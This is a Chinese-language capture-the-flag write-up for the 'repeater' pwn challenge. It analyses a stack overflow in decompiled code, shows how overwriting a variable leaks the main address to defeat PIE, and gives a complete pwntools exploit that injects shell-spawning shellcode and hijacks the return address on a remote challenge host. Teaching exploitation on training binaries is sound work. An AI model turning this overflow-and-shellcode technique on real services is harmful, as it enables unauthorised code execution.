[!info] 题目信息
来源:攻防世界
编号:GFSJ1021
下载:https://pan.quark.cn/s/c4aeacc6fad0

Repeater PWN 题解

一、Checksec 安全检查

使用 checksec 检查二进制文件的保护机制:

checksec file repeater

结果:

  • Canary: No Canary Found (无栈保护)
  • NX: NX disabled (NX 禁用 - 关键!)
  • PIE: PIE Enabled (启用地址随机化)
  • RELRO: Full RELRO

二、IDA 逆向分析

Main 函数伪代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _BYTE s[32];  // [rsp+0h] [rbp-30h] BYREF
  int v5;      // [rsp+20h] [rbp-10h]
  int i;       // [rsp+2Ch] [rbp-4h]

  sub_91B(a1, a2, a3);
  sub_A08();
  v5 = 1192227;
  puts("I can repeat your input.......");
  puts("Please give me your name :");
  
  // 初始化内存,把 byte_202040 设成 0
  memset(byte_202040, 0, sizeof(byte_202040));
  
  // 读取输入内容到 byte_202040;因为没有开启 NX,所以可以写入 shellcode
  sub_982(byte_202040, 48);
  
  // 判断是否 i < v5 --> 进入循环
  for ( i = 0; i < v5; ++i )
  {
    printf("%s's input :", byte_202040);
    memset(s, 0, sizeof(s));  // s 初始化为 0
    
    // 输入 s;这里可以栈溢出控制程序
    read(0, s, 0x40u);
    
    puts("sorry... I can't.....");
    
    // 如果 v5 等于 3281697,相等返回 true
    if ( v5 == 3281697 )
    {
      puts("But there is gift for you :");
      printf("%p\n", main);  // 打印 main 函数的地址
    }
  }
  
  return 0;  // 返回循环语句进行判断
}

漏洞分析

  1. 栈溢出漏洞

    • _BYTE s[32] 只分配了 32 字节
    • read(0, s, 0x40u) 却读取了 0x40 (64) 字节
    • 可以覆盖栈上的变量 v5 和返回地址
  2. Shellcode 注入点

    • byte_202040 是一个全局变量
    • NX 保护未开启,可以在此写入并执行 shellcode
  3. 地址泄露

    • v5 == 3281697 时,会打印 main 函数地址
    • 可以通过栈溢出修改 v5 的值来触发

三、PIE 绕过

开启了 PIE 之后,所有函数的地址都是相对偏移:

  • Main 函数的偏移是 0xA33(此值通过 IDA 静态分析,查看 main 函数前方的偏移量(. text: 0000000000000A33 main proc near)得知)
  • PIE 基地址 = main 函数地址 - main 函数偏移
  • Shellcode 地址 = 基地址 + 0x202040

四、利用思路

分三步完成攻击:

  1. 第一次输入:注入 shellcode 到 byte_202040
  2. 第二次输入:栈溢出修改 v53281697,触发地址泄露,计算 PIE 基地址
  3. 第三次输入:栈溢出修改 v50,覆盖返回地址为 shellcode 地址,劫持程序执行流

五、EXP 编写

from pwn import *

# 设置环境
# context 是 pwntools 用来设置环境的功能
# 32 位和 64 位的汇编不同,需要正确设置
context(os='linux', arch='amd64', log_level='debug')

# 连接方式选择
# io = process('./repeater')  # 本地运行程序
io = remote('61.147.171.105', 64701)  # 连接远程程序

# 第一步:注入 shellcode
shellcode = asm(shellcraft.sh())  # pwntools 自动生成 shellcode
io.sendlineafter("Please give me your name :", shellcode)

# 第二步:泄露 main 函数地址
# 填充 0x20 字节的垃圾,然后覆盖 v5 为 3281697
payload = b'a' * 0x20 + p64(3281697)
io.sendlineafter("input :", payload)

io.readuntil(b'But there is gift for you :\n')
main_addr = int(io.recvuntil("\n"), 16)  # 接收并解析地址(16 进制)
base_addr = main_addr - 0xa33  # 计算 PIE 的基地址

print(f"[+] Main address: {hex(main_addr)}")
print(f"[+] Base address: {hex(base_addr)}")
print(f"[+] Shellcode address: {hex(base_addr + 0x202040)}")

# 第三步:劫持控制流,执行 shellcode
# 填充 0x20 字节垃圾 + 覆盖 v5 为 0 + 0x8 的垃圾 + 0x8 的垃圾 + 覆盖返回地址为 shellcode 地址
payload = b'a' * 0x20 + p64(0) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(base_addr + 0x202040)
io.sendlineafter("input :", payload)

# 获取 shell
io.interactive()

六、总结

本题综合考察了以下知识点:

  • 栈溢出漏洞利用
  • PIE 地址泄露与绕过
  • Shellcode 注入与执行
  • 整数覆盖改变程序逻辑
  • Pwntools 的使用